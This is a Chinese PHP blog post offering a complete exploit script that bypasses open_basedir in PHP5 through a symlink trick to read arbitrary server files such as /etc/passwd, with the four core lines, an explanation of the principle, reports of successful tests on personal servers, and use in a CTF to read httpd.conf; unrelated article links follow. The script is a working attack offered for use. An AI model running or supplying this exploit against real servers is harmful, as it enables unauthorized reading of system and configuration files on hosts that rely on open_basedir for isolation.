PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍


Posted in PHP onJanuary 20, 2015

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068。

给出我写的EXP:

<?php

/*

* by phithon

* From https://3water.com

* detail: http://cxsecurity.com/issue/WLB-2009110068

*/

header('content-type: text/plain');

error_reporting(-1);

ini_set('display_errors', TRUE);

printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());

printf("disable_functions: %s\n", ini_get('disable_functions'));

$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');

$relat_file = getRelativePath(__FILE__, $file);

$paths = explode('/', $file);

$name = mt_rand() % 999;

$exp = getRandStr();

mkdir($name);

chdir($name);

for($i = 1 ; $i < count($paths) - 1 ; $i++){

  mkdir($paths[$i]);

  chdir($paths[$i]);

}

mkdir($paths[$i]);

for ($i -= 1; $i > 0; $i--) { 

  chdir('..');

}

$paths = explode('/', $relat_file);

$j = 0;

for ($i = 0; $paths[$i] == '..'; $i++) { 

  mkdir($name);

  chdir($name);

  $j++;

}

for ($i = 0; $i <= $j; $i++) { 

  chdir('..');

}

$tmp = array_fill(0, $j + 1, $name);

symlink(implode('/', $tmp), 'tmplink');

$tmp = array_fill(0, $j, '..');

symlink('tmplink/' . implode('/', $tmp) . $file, $exp);

unlink('tmplink');

mkdir('tmplink');

delfile($name);

$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";

$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";

echo "\n-----------------content---------------\n\n";

echo file_get_contents($exp);

delfile('tmplink');
function getRelativePath($from, $to) {

  // some compatibility fixes for Windows paths

  $from = rtrim($from, '\/') . '/';

  $from = str_replace('\\', '/', $from);

  $to   = str_replace('\\', '/', $to);
  $from   = explode('/', $from);

  $to     = explode('/', $to);

  $relPath  = $to;
  foreach($from as $depth => $dir) {

    // find first non-matching dir

    if($dir === $to[$depth]) {

      // ignore this directory

      array_shift($relPath);

    } else {

      // get number of remaining dirs to $from

      $remaining = count($from) - $depth;

      if($remaining > 1) {

        // add traversals up to first matching dir

        $padLength = (count($relPath) + $remaining - 1) * -1;

        $relPath = array_pad($relPath, $padLength, '..');

        break;

      } else {

        $relPath[0] = './' . $relPath[0];

      }

    }

  }

  return implode('/', $relPath);

}
function delfile($deldir){

  if (@is_file($deldir)) {

    @chmod($deldir,0777);

    return @unlink($deldir);

  }else if(@is_dir($deldir)){

    if(($mydir = @opendir($deldir)) == NULL) return false;

    while(false !== ($file = @readdir($mydir)))

    {

      $name = File_Str($deldir.'/'.$file);

      if(($file!='.') && ($file!='..')){delfile($name);}

    } 

    @closedir($mydir);

    @chmod($deldir,0777);

    return @rmdir($deldir) ? true : false;

  }

}
function File_Str($string)

{

  return str_replace('//','/',str_replace('\\','/',$string));

}
function getRandStr($length = 6) {

  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

  $randStr = '';

  for ($i = 0; $i < $length; $i++) {

    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);

  }

  return $randStr;

}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:

symlink("abc/abc/abc/abc","tmplink"); 

symlink("tmplink/../../../etc/passwd", "exploit"); 

unlink("tmplink"); 

mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。

错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

open_basedir

将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中)。

在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_basedir = /dir/incl/”。

Note:

支持多个目录是 3.0.7 加入的。

默认是允许打开所有文件。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

树莓派测试:

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

发现没旁站,流量是通过网关转发的。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP 相关文章推荐
层叠菜单的动态生成
Oct 09 PHP
php 图片上传类代码
Jul 17 PHP
php 各种应用乱码问题的解决方法
May 09 PHP
CURL状态码列表(详细)
Jun 27 PHP
PHP统计nginx访问日志中的搜索引擎抓取404链接页面路径
Jun 30 PHP
php中get_cfg_var()和ini_get()的用法及区别
Mar 04 PHP
php注册登录系统简化版
Dec 28 PHP
thinkPHP3.1验证码的简单实现方法
Apr 22 PHP
Yii2 RESTful中api的使用及开发实例详解
Jul 06 PHP
总结的一些PHP开发中的tips(必看篇)
Mar 24 PHP
PHP递归的三种常用方式
Feb 28 PHP
PHP里的$_GET数组介绍
Mar 22 PHP
php中解析带中文字符的url函数分享
Jan 20 #PHP
PHP中使用正则表达式提取中文实现笔记
Jan 20 #PHP
php中的观察者模式简单实例
Jan 20 #PHP
php 5.6版本中编写一个PHP扩展的简单示例
Jan 20 #PHP
PHP函数extension_loaded()用法实例
Jan 19 #PHP
php使用正则表达式获取图片url的方法
Jan 16 #PHP
php使用CURL伪造IP和来源实例详解
Jan 15 #PHP
You might like
PHP串行化与反串行化实例分析
2016/12/27 PHP
JQuery textlimit 显示用户输入的字符数 限制用户输入的字符数
2009/05/14 Javascript
javaScript 简单验证代码(用户名,密码,邮箱)
2009/09/28 Javascript
JavaScript CSS修改学习第六章 拖拽
2010/02/19 Javascript
基于JQuery实现的图片自动进行缩放和裁剪处理
2014/01/31 Javascript
鼠标左键单击冲突的问题解决方法(防止冒泡)
2014/05/14 Javascript
js添加select下默认的option的value和text的方法
2014/10/19 Javascript
node.js开发中使用Node Supervisor实现监测文件修改并自动重启应用
2014/11/04 Javascript
JavaScript使用push方法添加一个元素到数组末尾用法实例
2015/04/06 Javascript
JS模式之简单的订阅者和发布者模式完整实例
2015/06/30 Javascript
JS建造者模式基本用法实例分析
2015/06/30 Javascript
bootstrap下拉列表与输入框组结合的样式调整
2016/10/08 Javascript
bootstrap表单示例代码分享
2017/05/18 Javascript
微信小程序实现即时通信聊天功能的实例代码
2018/08/17 Javascript
如何给element添加一个抽屉组件的方法步骤
2019/07/14 Javascript
Android 自定义view仿微信相机单击拍照长按录视频按钮
2019/07/19 Javascript
python使用cPickle模块序列化实例
2014/09/25 Python
python递归查询菜单并转换成json实例
2017/03/27 Python
python主线程捕获子线程的方法
2018/06/17 Python
Python玩转Excel的读写改实例
2019/02/22 Python
Python中新式类与经典类的区别详析
2019/07/10 Python
Django实现发送邮件找回密码功能
2019/08/12 Python
Django之使用celery和NGINX生成静态页面实现性能优化
2019/10/08 Python
python+Django+pycharm+mysql 搭建首个web项目详解
2019/11/29 Python
Django celery异步任务实现代码示例
2020/11/26 Python
python 模拟登录B站的示例代码
2020/12/15 Python
用html5实现语音搜索框的方法
2014/03/18 HTML / CSS
英国护肤品购物网站:Beauty Expert
2016/08/19 全球购物
家得宝官网:The Home Depot(全球最大的家居装饰专业零售商)
2018/12/17 全球购物
DOUGLAS荷兰:购买香水和化妆品
2020/10/24 全球购物
TecoBuy澳大利亚:在线电子和小工具商店
2020/06/25 全球购物
包装类的功能、种类、常用方法
2012/01/27 面试题
策划助理岗位职责
2013/11/18 职场文书
简历的自我评价
2014/02/03 职场文书
2015年卫生局工作总结
2015/07/24 职场文书
Python中的pprint模块
2021/11/27 Python